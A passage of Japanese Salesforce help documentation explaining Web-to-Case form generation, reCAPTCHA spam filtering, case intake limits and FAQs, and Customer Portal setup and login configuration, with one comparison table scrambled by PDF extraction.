ケースフォームに表示されるフォームラベルで使用する言語を選択します。Web-to-ケースフォームのソー
スは常にその個人の言語になっています。

6. [生成] をクリックします。
7. 生成された HTML コードをコピーし、それを Web マスタが Web サイトに組み込みます。
8. [完了] をクリックします。

ヒント: カスタム複数選択リストを使用すると、顧客は複数の商品についてのケースを一度に報告で
きるようになります。
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Web-to-ケースフォームをテストする場合は、コードに <input type="hidden" name="debug" value="1">

行を追加します。この行により、フォームを送信するとデバッグページにリダイレクトされます。この行は、
Web-to-ケースページを Web サイトに公開する前に忘れずに削除してください。

関連トピック:

Web-to-ケースの設定
スパムケースを防止するための reCAPTCHA の有効化

スパムケースを防止するための reCAPTCHA の有効化

エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Web-to-ケースを設定する
• 「アプリケーションの

カスタマイズ」

Web-to-ケースで reCAPTCHA を有効にすると、顧客が会社への問い合わせを簡単に
行える一方で、サービス担当者がスパムボットに費やす時間が削減されます。
ケース登録で reCAPTCHA を使用するには、Web-to-ケースを有効にする必要があり
ます。
顧客はケースを作成する前に reCAPTCHA ウィジェットでチェックボックスを適切
に選択する必要があります。スパムフィルタリングを有効にすると、カスタマー
サービスエージェントはスパムケースではなく顧客の実際のケースに集中でき
ます。
Google の reCAPTCHA サービスを使用するには、「Google reCAPTCHA の Web サイト」
にアクセスし、[reCAPTCHA を取得]をクリックしてドメインを登録し、秘密鍵と
公開鍵のペアを取得します。Google reCAPTCHA は、ユーザおよびパートナーをサ
ポートするために Salesforce が利用するリソースであり、salesforce.com のマスター
サブスクリプション契約に記載された「サービス」の一部とはみなされません。
1. [設定] から、[クィック検索] ボックスに「Web-to-ケース HTML ジェネレー

タ」と入力して、[Web-to-ケース HTML ジェネレータ] を選択します。
2. [スパムフィルタリングの有効化 (推奨)] を選択します。
3. Google から取得して Salesforce プラットフォームに登録した鍵のペアを入力します。ルックアップウィンド

ウを使用して、Salesforce プラットフォームにすでに登録されている鍵を選択します。
4. [サーバフォールバックを有効化] がオンになっていることを確認します。

Google reCAPTCHA サーバが失敗するかオフラインになり、スパムフィルタリングを使用できない場合、この
設定によってすべてのケーストラフィックを通すことができます。この設定はデフォルトで有効になって
おり、この設定を使用することをお勧めします。この設定を無効にして、Google reCAPTCHA サーバが失敗す
るかオフラインになった場合、ケーストラフィックが失われる可能性があります。

5. [生成] をクリックします。
Salesforce が HTML コードを作成します。このコードを Web サイトに追加すると、顧客がケースを作成できる
ようになります。
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6. HTML コードを Web サイトに追加します。

関連トピック:

Google reCAPTCHA

Web-to-ケース HTML コードの生成

Web-to-ケースの注意事項と制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Web-to-ケースのしくみについて確認し、会社にとって最も効率的な方法で設定
してください。
Web-to-ケースの設定方法を決めるときに、次の点に留意してください。
• 可能な場合、Web で生成されたケースは、顧客のメールアドレスに基づいて

関連する取引先責任者および取引先に自動的にリンクされます。
• Salesforceは、Web-to-ケースによって登録されたレコードを作成する前に項目

入力規則を実行し、有効な値を持つレコードのみを作成します。すべての必
須項目に値を入力した後に、レコードを Web-to-ケース経由で作成できます。

• オンラインで取り込まれた日付項目および通貨項目の形式は、組織のデフォ
ルトの共有設定である [地域のデフォルト値] および [通貨] と同じになりま
す。

• Salesforceでは、Web-to-ケースフォームでリッチテキストエリア (RTA) 項目はサ
ポートされません。フォームで RTA 項目を使用すると、入力された情報はケースの作成時にプレーンテキ
ストとして保存されます。

• 組織が毎日のWeb-to-ケースの制限数を超えた場合、デフォルトのケース所有者 ([サポート設定] ページで指
定) に追加のケース情報を含むメールが送信されます。

関連トピック:

Web-to-ケースを使用したケースの取り込み準備
Web-to-ケースの設定
FAQ - Web-to-ケース
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FAQ - Web-to-ケース

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• Web-to-ケースはいくつまで取り込むことができますか?

• 新しい Web 生成ケースを所有するのは誰ですか?

• 取り込む情報の種類は、どのようにして指定しますか?

• 複数の Web ページからケースを取り込むことはできますか?

• Web マスタは [Web-to-ケース] ページをどうやってテストしますか?

• Web で作成されたケースには、どのような「ケースの状況」が割り当てられ
ますか?

• スパムをケースにしないようにすることはできますか?

• ケースを絶対に紛失しないようにする方法は?

Web-to-ケースはいくつまで取り込むことができますか?

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、24

時間に最大 5,000 件のケースを取り込むことができます。会社でこの件数を上回るケース要求を生成する場合
は、任意のページの上部にある [ヘルプ & トレーニング]をクリックし、[私のケース] タブを選択して、Salesforce

カスタマサポートに上限引き上げについて直接お問い合わせください。
組織が 24 時間の制限に達した場合は、Salesforce では Web-to-ケース要求および Web-to-リード要求の両方を含む
待機中の要求のキューに追加の要求を格納します。要求は制限が更新されると提出されます。待機中の要求の
キューの制限は合計 50,000 件です。組織が待機中の要求の制限に達すると、制限を超える要求は却下され、
キューに入れられません。システム管理者は、提出が却下された最初の 5 件のメールに関して通知を受け取り
ます。組織の待機中の要求の制限を変更するには、Salesforce カスタマサポートにお問い合わせください。

関連トピック:

FAQ - Web-to-ケース

新しい Web 生成ケースを所有するのは誰ですか?

システム管理者は、有効なケース割り当てルールを設定して、Web で生成されたケースをケースの特定の条件
に基づいてユーザまたはキューに自動的に割り当てることができます。割り当てルールの条件のいずれにも一
致しないケースは、サポートの設定で指定されている [デフォルトのケース所有者] に割り当てられます。

関連トピック:

FAQ - Web-to-ケース

取り込む情報の種類は、どのようにして指定しますか?

自社の Web サイトで使用する HTML を生成する際に、標準入力項目またはカスタム項目のうち、どの項目の情
報を収集するかを指定できます。ケースのカスタム項目は、HTML コードを生成する前に作成する必要があり
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ます。[設定] から、[クイック検索] ボックスに「Web-to-ケース」と入力し、[Web-to-ケース] を選択し、機能
を設定して HTML を生成します。

関連トピック:

FAQ - Web-to-ケース

複数の Web ページからケースを取り込むことはできますか?

はい、できます。ケースを取り込む Web ページに、生成した HTML コードを挿入します。それらの Web ページ
のどこからでも、情報が送信されるたびにケースが 1 件作成されます。

関連トピック:

FAQ - Web-to-ケース

Web マスタは [Web-to-ケース] ページをどうやってテストしますか?

フォームを送信するときにデバッグページを表示するには、Web-to-ケースコードに次の行を追加します。この
行は、Web-to-ケースページを Web サイトに公開する前に忘れずに削除してください。
<input type="hidden" name="debug" value="1">

関連トピック:

FAQ - Web-to-ケース

Web で作成されたケースには、どのような「ケースの状況」が割り当てられますか?

新しい Web ケースには、システム管理者が [ケース 状況] 選択リスト値から選択したデフォルトの状況が設
定されます。[発生源] 項目のデフォルト値は、[Web-to-ケース] の設定時にシステム管理者が決定します。

関連トピック:

FAQ - Web-to-ケース

スパムをケースにしないようにすることはできますか?

次のオプションを使用して、スパムを制限できます。
• ブラックリストルールを作成して、指定した IP アドレスからのメールを拒否する。
• AppExchange からスパムフィルタアプリケーションをダウンロードする。

関連トピック:

FAQ - メール-to-ケース
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ケースを絶対に紛失しないようにする方法は?

組織が毎日の Web-to-ケースの制限数を超えた場合、デフォルトのケース所有者 (サポート設定で指定します)

に追加のケース情報を含むメールが送信されます。Web-to-ケース設定にエラーがあるために新しいケースを生
成できない場合は、エラーの修正をサポートできるように、カスタマーサポートに通知されます。
組織でオンデマンドメール-to-ケースを使用している場合、Salesforce は、スケジュール設定された Salesforce の
ダウンタイムにユーザがケースを登録した場合でも、ケースが確実に失われないようにします。

関連トピック:

FAQ - Web-to-ケース

ケースレポートでの「対応期間」の計算方法は?

オープンケースの対応期間は、作成から現在までの経過時間を表します。クローズケースの対応期間は、作成
からクローズまでの経過時間を表します。ケースレポートには [単位] ドロップダウンリストが表示され、[対
応期間] を日、時間、または分単位で表示できます。

関連トピック:

ケースの項目
FAQ - Web-to-ケース

カスタマーポータル

カスタマーポータルの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルを設
定および更新する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforceカスタマーポータルには、顧客のオンラインサポートチャネルがあり、
これを使用して、顧客はカスタマーサービス担当者に連絡しなくても各自の疑
問を解決できます。カスタマーポータルを使用して、視覚的にインパクトのあ
るユーザインターフェースをカスタマイズして顧客に提供できます。そして、
次の Salesforce 機能により、ユーザ、および顧客の成功を支援します。
• 顧客のページレイアウトと項目レベルセキュリティに表示されるページと項

目を決める
• 顧客のプロファイル、権限セット、ロール、および共有ルールを管理する
• Salesforce CRM Content または [ドキュメント] タブからドキュメントを指定およ

び構成する
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• Salesforce ナレッジを使用して顧客の知識ベースを作成する
• 顧客のアイデアコミュニティへの参加を許可する
• カスタムオブジェクトを使用して、組織独自のデータを表示および収集する
• [レポート] タブからカスタマイズ済みのレポートを提供する

メモ: 大規模ポータルユーザは、数千から数百万のユーザを対象とするカスタマーポータルまたはコミュ
ニティで使用できます。「大規模ポータルユーザについて」 (ページ 2876)を参照してください。

カスタマーポータルの設定手順は、次のとおりです。
1. カスタマーポータルを有効にします。
2. 1 つ以上のポータルを作成します。

各ポータルについて、次の手順を実行します。
a. 設定とコミュニケーションテンプレートを指定します。

[カスタマーポータル設定] ページの [ツール] セクションにある [すべてのカスタマーポータルにデフォル
トのメールテンプレートを設定] リンクをクリックして、すべてのカスタマーポータルユーザに送信す
るコミュニケーションテンプレートを標準化できます。詳細は、「複数のカスタマーポータルの作成」
(ページ 2836)を参照してください。
最初のポータル設定を初めて保存した後に、カスタマーポータルかパートナーポータルかに関係なく、
ポータルユーザアクセスの変換ウィザードが自動的に表示されます。このウィザードを使用して、
Salesforce ユーザが所有するレコードとフォルダをポータルユーザと共有しないように設定できます。

b. フォントと色をカスタマイズします。
c. 選択可能なタブとタブの順序をカスタマイズします。
d. ポータルの言語を設定します。

3. 必要に応じて、ポータルユーザライセンスで可能な場合は、Salesforce CRM Content、アイデア、アンサー、
エンタイトルメント管理、または Salesforce ナレッジを有効にできます。

4. カスタマーポータルプロファイルを作成します。
各プロファイルについて、次の手順を実行します。
a. ページレイアウトをカスタマイズします。「カスタマーポータルページのカスタマイズ」を参照してく

ださい。
Salesforceカスタマーポータルページの設定ヒント集と一般情報については、「カスタマーポータルペー
ジの設定ヒントと考慮事項」 (ページ 2863)を参照してください。

b. リストビューをカスタマイズします。
カスタマーポータルユーザは、[すべてのユーザに表示]とマークされている表示設定のリストビューを
自動的に参照できます。ポータルユーザがアクセス可能なオブジェクトにリストビューを作成し、ポー
タルユーザに表示するものに対してのみポータルユーザを割り当てることをお勧めします。

c. 検索レイアウトをカスタマイズします。
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Salesforce組織の検索レイアウトは、カスタマーポータルで使用されている検索レイアウトと同じです。
ポータルユーザがアクセスできるオブジェクトの検索レイアウトで、ポータルユーザが検索結果で参照
できる項目のみ選択されていることを確認してください。

5. ワークフローを設定する手順は、次のとおりです。
a. 「現在のユーザ: ユーザ種別 次の文字列を含む カスタマーポータル」という条件を使用して、ポータル

ユーザが作成したケースを Salesforce ユーザまたはキューに自動的に割り当てるように、ワークフロー
ルールまたはケース割り当てルールを設定します。
ケース割り当てルールをカスタマーポータルで機能させるには、ポータルプロファイルに割り当てられ
ているケースページレイアウトの [[ケースの割り当て] チェックボックスをデフォルトでオンにする]

チェックボックスをオンにします。ポータルユーザは、カスタマーポータルでこれらのチェックボック
スを参照できません。ケースが作成されたときと編集されたときに、割り当てルールが適用されます。
ポータルユーザがケースを編集したときにケースが自動的に再割り当てされないようにするには、「現
在のユーザ: ユーザ種別 次の文字列を含む カスタマーポータル」という条件のルールを追加して、[ユー
ザを再割り当てしない] チェックボックスをオンにします。

b. ポータルユーザがポータルでケースを作成したときに、そのユーザに自動的に応答するワークフローア
ラートまたはケース自動レスポンスルールを作成します。

6. ポータルユーザのアクセス権を設定します。
7. 大規模ポータルユーザにオブジェクトへのアクセスを許可します。
8. 必要に応じて、シングルサインオンを有効にします。
9. 各カスタマーポータルへのログインを有効にします。
10. 組織の Web サイトにポータルへのリンクを追加します。

ポータルの設定から [ログイン URL] をコピーし、Web サイトの HTML に貼り付ければ、ユーザがカスタ
マーポータルに移動できるようになります。詳細は、「カスタマーポータルのログインと設定の有効化」
(ページ 2838)を参照してください。

11. 取引先責任者がポータルを使用できるようにします。

メモ: 組織でカスタマーポータルを有効にする方法については、Salesforce にお問い合わせください。

関連トピック:

カスタマーポータル設定の制限
複数のカスタマーポータルの作成
ポータルのシングルサインオンの有効化
カスタマーポータルの多言語 HTML メッセージの設定

Salesforce を使用してどのようなカスタマーポータルを作成できますか?

Salesforceには、顧客を管理するための 3 つの方法が用意されています。次の表では、これらの違いを簡単に説
明します。
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メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

セルフサービスポータルSalesforceカスタマーポータ
ル

Chatter アンサー

顧客にオンラインサポート
チャネルを提供して、サ

顧客にオンラインサポート
チャネルを提供して、サ

顧客に Web コミュニティを
提供して、他のコミュニ

目的

ポートエージェントに問いポートエージェントに問いティメンバーに尋ねたり、
合わせなくても、問題を解
決できるようにします。

合わせなくても、問題を解
決できるようにします。

サポートエージェントに問
い合わせたりして、顧客が
質問を解決できるようにし
ます。

カスケードスタイルシート
(CSS) またはクリックスタイ

クリックスタイルエディタ
に加え、権限、カスタムオ

クリックスタイルエディタ
と Visualforce ページに加え、

ユーザインター
フェース

ルエディタを使用して、カ
スタマイズを行えます。

ブジェクト、共有ルール、
および Web タブなど、
Salesforce に類似する機能を

アンサー、カスタマーポー
タル、Force.com サイト、お
よび Salesforce ナレッジなど

使用して、高度なカスタマ
イズを行えます。

の Salesforce 機能を使用し
て、高度なカスタマイズを
行えます。

サポートされている
レコードタイプ

• ケース• 活動• 記事
• ••ケース ソリューション納入商品

•• ケース質問 (回答)

• ドキュメント
• ソリューション
• カスタムオブジェクト

1詳細は、Salesforce にお問い
合わせください。

詳細は、Salesforce にお問い
合わせください。

数量

システム管理者のコ
ントロール

• セルフサービスユーザ名
とパスワードを生成する

• カスタマーポータルの外
観をカスタマイズする

• コミュニティの外観をカ
スタマイズする

• 質問と回答を管理する •• カスタマーポータルユー
ザ名とパスワードを生成
する

セルフサービスユーザ情
報を管理する• ユーザ名とパスワードを

生成する
• カスタマーポータルユー

ザ情報を管理する
• カスタマーポータルユー

ザ情報を管理する
• 権限、ロール、および共

有ルールを使用してカス
• 権限、ロール、および共

有ルールを使用してカス
タマーポータルユーザを
管理する

タマーポータルユーザを
管理する

2832

Web チャネルおよびソーシャルチャネルの作成カスタマーサポートツールの設定および管理



セルフサービスポータルSalesforceカスタマーポータ
ル

Chatter アンサー

なしユーザは [カスタマーポータ
ルへようこそ] コンポーネン

ユーザはサインインした
後、[私の設定を編集] をク

ユーザのコントロー
ル

トを使用して次を変更でき
ます。

リックして次を変更できま
す。

• ポータルユーザ名• コミュニティユーザ名
• コミュニティパスワード • ポータルパスワード

• 地域• 地域
• 言語 • 言語

• タイムゾーン• タイムゾーン
• 通知設定 • 連絡先情報
• 連絡先情報

メモ: 組織で特定のポータルを有効にするには、Salesforce にお問い合わせください。

カスタマーポータルの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルを有
効にする
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力

し、[カスタマーポータル設定] を選択します。
2. [編集] をクリックします。
3. [カスタマーポータルの有効化] を選択します。
4. [保存] をクリックします。
5. ポータルの設定を続行します。

カスタマーポータルの有効化のヒント
カスタマーポータルを有効化するときに、次の点を考慮してください。
• カスタマーポータルの有効化を行った後、顧客のさまざまなビジネスニーズを満たすカスタマーポータル

を作成できます。
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• カスタマーポータルを有効にすると、以下の項目が使用可能になります。
– 大規模カスタマーポータル、認証 Web サイト、カスタマーポータルマネージャ、およびカスタマーポー

タルユーザの各プロファイル (それぞれのユーザライセンスを購入している場合)。
– 取引先責任者レコードと個人取引先レコードの[カスタマーポータルユーザの有効化]および[カスタマー

ポータルユーザの参照] ボタン。
– 「すべてのカスタマーポータルユーザ」および「すべての内部ユーザ」グループと「ロール & 内部下位

ロール」共有ルールカテゴリ。
• カスタマーポータルを有効にした後に無効にすることはできません。ただし、ユーザがカスタマーポータ

ルにログインできないようにすることはできます。「カスタマーポータルのログインと設定の有効化」
(ページ 2838)を参照してください。

関連トピック:

カスタマーポータルの設定

ポータルユーザアクセスの変換ウィザードの考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを設定する
• 「共有の管理」

カスタマーポータルユーザおよびパートナーポータルユーザはロール階層に表
示されますが、組織の内部データにアクセスする必要のない外部の取引先責任
者です。カスタマーポータルまたはパートナーポータルを設定するときに、ポー
タルユーザアクセスの変換ウィザードを使用して、レコードやフォルダをポー
タルユーザと共有しないように指定できます。

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

ウィザードでの設定は、Salesforce 組織の次の領域に影響します。
共有ルール

ポータルユーザアクセスの変換ウィザードにより、[ロール、内部およびポータル下位ロール] データセッ
トカテゴリを含む共有ルールが、代わりに [ロール & 内部下位ロール] データセットカテゴリを含むように
変換できます。
[ロール & 内部下位ロール] データセットカテゴリでは、特定のロール (カスタマーポータルとパートナーポー
タルロールを除く) のすべてのユーザとその下位ロールに属するすべてのユーザを含む共有ルールを作成で
きます。
[ロール、内部およびポータル下位ロール] を [ロール & 内部下位ロール] に変換すると、組織の共有設定ルー
ルのみが更新されます。特定のレコードについて、[共有] ボタンをクリックして作成したキュー、公開グ
ループ、リストビュー、ドキュメント、および共有の直接設定における [ロール、内部およびポータル下位
ロール] カテゴリは、[ロール & 内部下位ロール] には変換されません。
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メモ: ポータルユーザアクセスの変換ウィザードを実行後、共有ルールを再計算して変更を適用する
必要があります。[設定] の [クイック検索]ボックスで、「共有設定」と入力します。[取引先共有ルー
ル数] で、[再計算] をクリックして、[OK] をクリックします。
組織で [ロール、内部 & ポータル下位ロール] データセットカテゴリが利用できるようにするには、ロー
ル階層内に少なくとも 1 つのロールを作成しておく必要があります。
組織で [ロール & 内部下位ロール] データセットカテゴリが利用できるようするには、ロール階層内に
少なくとも 1 つのロールを作成し、かつ、ポータルを有効にしておく必要があります。

フォルダ共有
ポータルユーザアクセスの変換ウィザードにより、[ロール、内部およびポータル下位ロール] にアクセス
可能なレポート、ダッシュボード、またはドキュメントフォルダのアクセスレベルを、より制限の厳しい
[ロール & 内部下位ロール] に自動的に変換することもできます。これにより、カスタマーポータルユーザお
よびパートナーポータルユーザのフォルダへのアクセスを回避できます。ウィザードの使用は、Salesforce

で異なるフォルダを特定して個別にアクセスレベルを設定するよりも効率的です。
ウィザードでは、すべてのユーザまたは公開グループがアクセス可能なフォルダは変換しません。手動で
これらのフォルダのアクセスレベルを更新する必要があります。

初めてカスタマーポータルまたはパートナーポータルを保存する場合、Salesforceではポータルユーザアクセス
の変換ウィザードが自動的に表示されます。

関連トピック:

ポータルユーザアクセスの変換ウィザードの使用
カスタマーポータルへのユーザアクセス権の設定

ポータルユーザアクセスの変換ウィザードの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを設定する
• 「共有の管理」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

カスタマーポータルまたはパートナーポータルを設定するときに、ポータルユー
ザアクセスの変換ウィザードを使用して、レコードやフォルダをポータルユー
ザと共有しないように指定できます。
ウィザードを使用する手順は、次のとおりです。
1. カスタマーポータルでは、[設定] から [クイック検索] ボックスに「カスタ

マーポータル設定」と入力し、[カスタマーポータル設定]を選択します。パー
トナーポータルでは、[設定] から [クイック検索] ボックスに「パートナー」
と入力し、[設定] を選択します。

2. [ポータルユーザアクセス権の変換] リンクをクリックします。
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3. [ロールおよび内部下位ロール] に変換する共有ルールの横にあるチェックボックスをオンにします。
変換する共有ルールがないが、フォルダのアクセスレベルを変換する場合、次のステップに進んでくださ
い。

4. [次へ] をクリックします。
5. [ロールおよび内部下位ロール] に変換するアクセスレベルのフォルダ横にあるチェックボックスをオンに

します。
ウィザードでは、すべてのユーザまたは公開グループがアクセス可能なフォルダは変換しません。手動で
これらのフォルダのアクセスレベルを更新する必要があります。
特定のフォルダが、ウィザードの複数の行に表示される場合があります。これは、フォルダが共有される
各ロール、および内部下位ロールおよびポータル下位ロールカテゴリの行がウィザードに表示されるため
です。

6. [次へ] をクリックします。
7. 選択した変更内容を適用するには、[保存] をクリックします。

関連トピック:

ポータルユーザアクセスの変換ウィザードの考慮事項

複数のカスタマーポータルの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

複数のカスタマーポータ
ルを作成する
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

Salesforce カスタマーポータルの有効化を行った後、顧客のさまざまなビジネス
ニーズを満たすため、複数のカスタマーポータルを作成できます。
複数のカスタマーポータルを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力

し、[カスタマーポータル設定] を選択します。
2. [新規] をクリックします。
3. 組織で最初に作成したカスタマーポータルの設定手順に従います。「カスタ

マーポータルの設定」 (ページ 2829)を参照してください。

メモ: 組織で有効化できるカスタマーポータルの数については、Salesforce にお問い合わせください。

組織で複数のカスタマーポータルを作成する前に、次の実装のヒントとベストプラクティスを確認してくださ
い。
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実装のヒント
• ポータルユーザは、自分のプロファイルに割り当てられたカスタマーポータルにのみログインできます。

カスタマーポータルにプロファイルを割り当てるには、[カスタマーポータル設定] ページからポータル名
を選択し、[割り当てられたプロファイル] セクションで [プロファイルの編集] をクリックし、ポータルに
割り当てるプロファイルの横にある [有効] チェックボックスをオンにします。
ポータルユーザは、各自のプロファイルに割り当てられたすべてのカスタマーポータルに、ユーザ名とパ
スワードを使ってアクセスできます。
カスタムサマリーレポートを作成して、レポート列に [プロファイル]を追加することにより、カスタマー
ポータルに割り当てられた各プロファイルに関連付けられている有効ユーザ数を表示できます。

• 作成する各カスタマーポータルのログイン URL には、portalId=060D00000000Q1F など、一意の識別子が含まれ
ます。一意の識別子により、ユーザがアクセスできる特定のポータルが決まります。ユーザが、一意の識
別子がないログイン URL にアクセスすると、最初に作成したカスタマーポータルのログイン URL に自動的
に移動します。ポータルユーザは、Salesforce のログインページではなく、そのポータルのログインページ
からのみカスタマーポータルにログインできます。

• 次の項目の設定は、自分の組織と自分のカスタマーポータルの両方に適用されます。
– リストビュー
– 検索レイアウト
– ケースの割り当てルール
– ワークフローアラート

ベストプラクティス
• 作成する各カスタマーポータルについてフォント、色、メールテンプレート、およびログインメッセージ

を独自にカスタマイズできるため、組織でサポートする商品サービスや顧客サービスのレベルに合わせて
カスタマーポータルを構築できます。たとえば、カスタマーサポートを「Gold」、「Silver」、「Bronze」と
いうレベルに分けて提供する場合、それぞれに固有のカスタマーポータルを作成できます。

メモ:  JavaScript および CSS コードは、ポータルログインメッセージとして使用される HTML ファイルか
ら自動的に削除されます。

• [カスタマーポータル設定] ページの [ツール] セクションにある [すべてのカスタマーポータルにデフォルト
のメールテンプレートを設定] リンクをクリックして、すべてのカスタマーポータルユーザに送信するコ
ミュニケーションテンプレートを標準化できます。これらの設定により、複数のカスタマーポータルにプ
ロファイルが関連付けられているポータルユーザに対し、新規ケースコメントやパスワードのリセットな
どのメール通知を送信するときに使用するメールテンプレートを決定します。
デフォルトでは、[新規ユーザ用 テンプレート]、[パスワードリセット用 テンプレート]、および [パスワー
ド忘れ用テンプレート] 参照項目で、サンプルテンプレートが自動的に選択されます。ただし、[新規コメ
ント用テンプレート] と [ポータルユーザへの所有者の変更用 テンプレート] 参照項目にはサンプルテンプ
レートは選択されません。これらの項目でテンプレートを選択しないと、複数のカスタマーポータルにプ
ロファイルが関連付けられているユーザは、ケースに新規コメントが追加されたり、カスタマーポータル
内のレコードの新規所有者になったりしても、メール通知を受け取りません。メールテンプレートは、ポー
タルユーザに送信されるよう [有効] に設定する必要があります。
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ヒント: メールテンプレートは、複数のカスタマーポータルのユーザに送信されるため、ポータル固
有のブランド情報を含まないデフォルトのメールテンプレートを作成することをお勧めします。

• カスタマーポータルは削除できませんが、[ログインを有効にする] チェックボックスをオフにすることに
より、ユーザがポータルにログインしないようにできます。詳細は、「カスタマーポータルのログインと
設定の有効化」 (ページ 2838)を参照してください。

• タブに表示されている各オブジェクトにプロファイルがアクセスできる限り、同じプロファイルを使用し
ているユーザの複数のタブを表示できる複数のカスタマーポータルを作成できます。詳細は、「カスタマー
ポータルタブのカスタマイズ」 (ページ 2850)を参照してください。

関連トピック:

カスタマーポータルの設定
カスタマーポータルユーザの管理について

カスタマーポータルのログインと設定の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマーポータルのロ
グインと設定を有効にす
る
• 「アプリケーションの

カスタマイズ」

メモ: Summer '13 リリース以降、新しい組織ではカスタマーポータルを利用
できません。既存の組織は、引き続きカスタマーポータルにアクセスする
ことができます。カスタマーポータルがない場合に顧客と簡単に情報を共
有するには、コミュニティを使用します。
カスタマーポータルを使用している既存の組織は、カスタマーポータルを
継続して使用することも、コミュニティに移行することもできます。詳細
は、Salesforce アカウントエグゼクティブにお問い合わせください。

1. [設定] から、[クイック検索] ボックスに「カスタマーポータル設定」と入力
し、[カスタマーポータル設定] を選択します。

2. カスタマイズする Salesforceカスタマーポータルの名前の横にある [編集]をク
リックします。

3. 次のオプションを設定します。

説明設定

ポータルの詳細ページと編集ページ、
および[カスタマーポータル設定] ペー

名前

ジに表示されるカスタマーポータル
の名前。カスタマーポータルの名前
は、ポータルページではなく、ブラ
ウザのタイトルバーに表示されます。
ポータルの名前は組織内で一意であ
り、カスタマーポータルまたはパー
トナーポータルですでに使用されて
いない名前である必要があります。
また、カスタマーポータルの名前を
「パートナーポータル」カスタマー
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説明設定

ポータルに指定するとエラーが発生する場合があり
ます。

ポータルの詳細ページと編集ページに表示されるカ
スタマーポータルの説明。カスタマーポータルの説
明は、ポータルには表示されません。

説明

ユーザがカスタマーポータルにログインできるよう
にします。
「カスタマーポータルの設定」で説明している手順
を完了してからこのチェックボックスをオンにする
ことをお勧めします。

ログインを有効にする

メモ: ユーザがパスワードをリセットするに
は、ユーザがカスタマーポータルにログイン
でき、自分のユーザプロファイルで制限され
た IP 範囲内、指定されたログイン時間内であ
る必要があります。

ルックアップアイコン ( ) をクリックして、カス
タマーポータルのデフォルトのシステム管理者を選

管理者

択します。カスタマーポータルにセルフ登録した
ユーザに関するメール通知は、すべてこの Salesforce

ユーザに送信されます。
通知には、メールアドレスの二重入力、重複する取
引先責任者レコードの作成、組織のユーザライセン
ス制限の超過など、セルフ登録ユーザが遭遇する可
能性のある登録エラーなどの問題の情報が記載され
ています。
カスタマーポータルのシステム管理者の選択時に
は、「セルフサービスユーザの編集」権限を持つ
ユーザのみを選択できます。さらに、ポータル管理
者として選択したユーザを無効にすることはできま
せん。
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ポータルデフォルト設定

説明設定

カスタマーポータルにユーザがログインしたときに
表示される Web ページの URL。
この URL をクリックし、自身のポータルにログイン
して操作できます。

ログイン URL

この URL を自身の Web サイトに挿入することによ
り、ユーザはカスタマーポータルへのログインペー
ジにアクセスできるようになります。
作成する各カスタマーポータルのログイン URL には、
portalId=060D00000000Q1F など、一意の識別子が含ま
れます。一意の識別子により、ユーザがアクセスで
